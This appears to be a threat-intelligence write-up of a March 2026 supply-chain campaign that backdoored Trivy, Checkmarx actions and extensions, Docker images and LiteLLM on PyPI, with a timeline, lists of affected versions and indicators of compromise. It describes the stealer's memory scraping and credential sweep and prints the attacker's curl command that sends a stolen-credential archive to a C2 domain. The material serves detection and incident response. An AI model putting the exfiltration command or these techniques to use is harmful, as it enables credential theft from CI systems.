
CVE-2026-33634 (CVSS 9.4) — The most impactful CI/CD supply chain attack of 2026 so far.
CVE-2026-33634 (CVSS 9.4) — The most impactful CI/CD supply chain attack of 2026 so far.
Between March 19–25, 2026, threat actor TeamPCP (also tracked as DeadCatx3, PCPcat, ShellForce, CanisterWorm) executed a cascading supply chain compromise across five ecosystems: GitHub Actions, Docker Hub, OpenVSX, npm, and PyPI. Starting from a single incompletely-rotated GitHub PAT, the campaign spread across two major open-source security vendors (Aqua Security and Checkmarx), four GitHub Actions repositories, two VS Code extensions, container registries, and 66+ npm packages.
This repository provides a full technical breakdown, curated IOC lists (FP-tested), and detection queries ready to deploy in Microsoft Defender XDR.
| Date (UTC) | Event |
|---|---|
| Feb 20, 2026 | hackerbot-claw account created; begins scanning repos for exploitable pull_request_target workflows |
| Feb 28, 2026 | First Trivy compromise via PWN request; credentials exfiltrated |
| Mar 1, 2026 | Aqua Security attempts containment — credential rotation incomplete |
| Mar 19, 17:43 | Main strike: TeamPCP force-pushes 75/76 tags in aquasecurity/trivy-action + all 7 tags in setup-trivy via compromised aqua-bot service account |
| Mar 19, 18:22 | Backdoored Trivy v0.69.4 published to GitHub Releases, Docker Hub, GHCR, ECR |
| Mar 20, 05:40 | Trivy-action compromise window closes (~12 hours) |
| Mar 20, 20:45 | CanisterWorm detected spreading across npm — 47+ packages compromised |
| Mar 22, 20:31 | TeamPCP defaces all 44 repos in aquasec-com GitHub org in a scripted 2-minute burst |
| Mar 22 | Docker Hub images 0.69.5 and 0.69.6 pushed with same stealer payload |
| Mar 23, 02:53 | Checkmarx wave begins: Malicious ast-results v2.53.0 and cx-dev-assist v1.7.0 published to OpenVSX via ast-phoenix account |
| Mar 23, 12:58 | All 35 tags of Checkmarx/kics-github-action force-pushed via compromised cx-plugins-releases account |
| Mar 23, 15:41 | Checkmarx reports OpenVSX issue resolved |
| Mar 23, 16:50 | KICS GitHub Action taken down after user report |
| Mar 23, 22:25 | Sysdig reports Checkmarx/ast-github-action v2.3.28 also compromised |
| Mar 24, 08:30 | LiteLLM wave: Trojanized litellm v1.82.7 and v1.82.8 published to PyPI using stolen credentials |
| Mar 24, 11:25 | PyPI quarantines malicious LiteLLM versions |
Root cause: incomplete credential rotation after the February 28 breach. The aqua-bot service account PAT was either not revoked or the attacker observed the new token during rotation.
TeamPCP used this retained access to force-push version tags to malicious imposter commits. Each forged commit cloned the original's metadata (author, timestamp, message) while replacing the entry point script with the stealer payload. GitHub's release page showed no visible change — even the "Immutable" badge displayed normally.
The stealer — a 204-line entrypoint.sh self-identified as "TeamPCP Cloud stealer" — runs a three-stage attack:
Stage 1: Memory Scraping
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Stage 2: Filesystem Credential Sweep
Scans 50+ sensitive paths including:
~/.ssh/*)~/.npmrc).env filesStage 3: Encrypted Exfiltration
tpcp.tar.gzcurl POST to vendor-specific typosquat domainstpcp-docs or docs-tpcp repo in victim's GitHub account using stolen GITHUB_TOKENOn non-CI Linux systems, the malware:
~/.config/sysmon/sysmon.py)Stolen credentials from the Trivy wave enabled compromise of Checkmarx's ecosystem. Each new wave used a different typosquat C2 domain to evade blocklists from the previous wave:
| Wave | C2 Domain | Typosquat Of |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Repository | Tags Compromised | Exposure Window (UTC) | Entry Point |
|---|---|---|---|
aquasecurity/trivy-action | 75 of 76 (safe: 0.35.0) | Mar 19 17:43 – Mar 20 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | All 7 tags | Mar 19 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | All 35 tags | Mar 23 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (likely all) | Mar 23 ~22:25+ | setup.sh |
| Extension | Malicious Version | Safe Version |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Both extensions were published 12 seconds apart at 12:53 UTC on March 23 via the ast-phoenix account. On activation, environmentAuthChecker.js checks for cloud provider credentials, then pulls a second-stage stealer from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Image | Malicious Tags |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Package | Versions | Backdoored File |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Triple-nested base64 payload with K8s lateral movement toolkit. Persistence via sysmon.service polling checkmarx.zone/raw.
The exfiltration pattern is identical across all waves:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
The typosquat domain strategy is deliberate: an analyst reviewing CI/CD logs sees curl traffic to what looks like the action's own vendor domain. Without careful comparison, scan.aquasecurtiy.org passes for aquasecurity.org in a fast log review.
Only the attacker can decrypt stolen data — the AES session key is RSA-OAEP encrypted with their public key.
Within 24 hours of the Trivy compromise, stolen npm tokens enabled a self-propagating worm across 66+ packages (141 malicious artifacts).